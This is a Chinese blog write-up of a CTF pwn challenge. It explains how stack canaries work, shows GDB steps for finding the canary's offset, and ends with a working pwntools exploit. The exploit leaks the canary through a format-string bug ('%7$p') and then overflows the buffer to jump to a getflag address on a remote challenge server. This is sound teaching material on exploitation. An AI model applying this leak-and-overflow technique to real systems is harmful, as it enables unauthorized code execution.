[August Test]ez_pwn(格式化字符串漏洞泄露canary)

详细记一下Canary保护:

原理:

通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。

当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中将 cookie 信息称为 Canary。

溢出是讲局部变量内填充足够的垃圾字符,再加上一段返回地址来造成的,而Canary就是在这个局部变量的末尾和返回地址之间加上一串随机字符,当执行到返回地址时会将Canary位置的字符同原本存在的字符进行比较,若不同则程序崩溃。

这样直接进行覆盖的话,Canary也会被覆盖掉导致程序执行到返回地址时崩溃。所以如果能通过这个验证就可以了,并且Canary字符是随机生成的。

解题

这个题是通过格式化字符串漏洞泄露Canary来达到绕过的
file
32位的
file
canary就是v5,这里可以看见printf(&v4),可以泄露Canary。
file

file
下面来看看格式化字符串泄露Canary的过程
file
在main函数下断点,一路n着走,这里可以看到了eax里面就是Canary,0x41b17200,那么接下来是要确定它的偏移
file
到printf后,看到printf是从0xffffd5f0开始的,用x/20wx看一下

file

这里就看得到Canary是第8个位置,但是这不是偏移,我看别人是这么算的偏移,上面得到了Canary的地址然后减去printf内存开始地址再除以4,从栈上也可以看到Canary的地址位0xffffd60c
file
这样得到了偏移7
file
输入aa%7$p后也打印了Canary字符,接下来就要确定Canary到ebp的距离了
file
得到了距离位12字节,当然直接从ida里面也看得见。
file
exp

#bin/sh
from pwn import*
a=remote('106.54.24.23',6666)#a=process('./pwn')
context.log_level="debug"
getflag=0x0804863B
payload='%7$p'
a.sendline(payload)
canary=int(a.recv(10),16)
payload2=('A'*(0x70-0xc)+p32(canary)).ljust(0x70,'a')+'aaaa'+p32(getflag)    #这里的由于canary的位置是ebp-c,所以要0x70-0xc,然后.ljiust(0x70,'a')意思是填充满0x70个字符,再接四个填充ebp,再接getflag的地址
a.sendline(payload2)
a.interactive()

file
然后还有暴力破解canary,read泄露canary,以后遇到再详细记吧

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据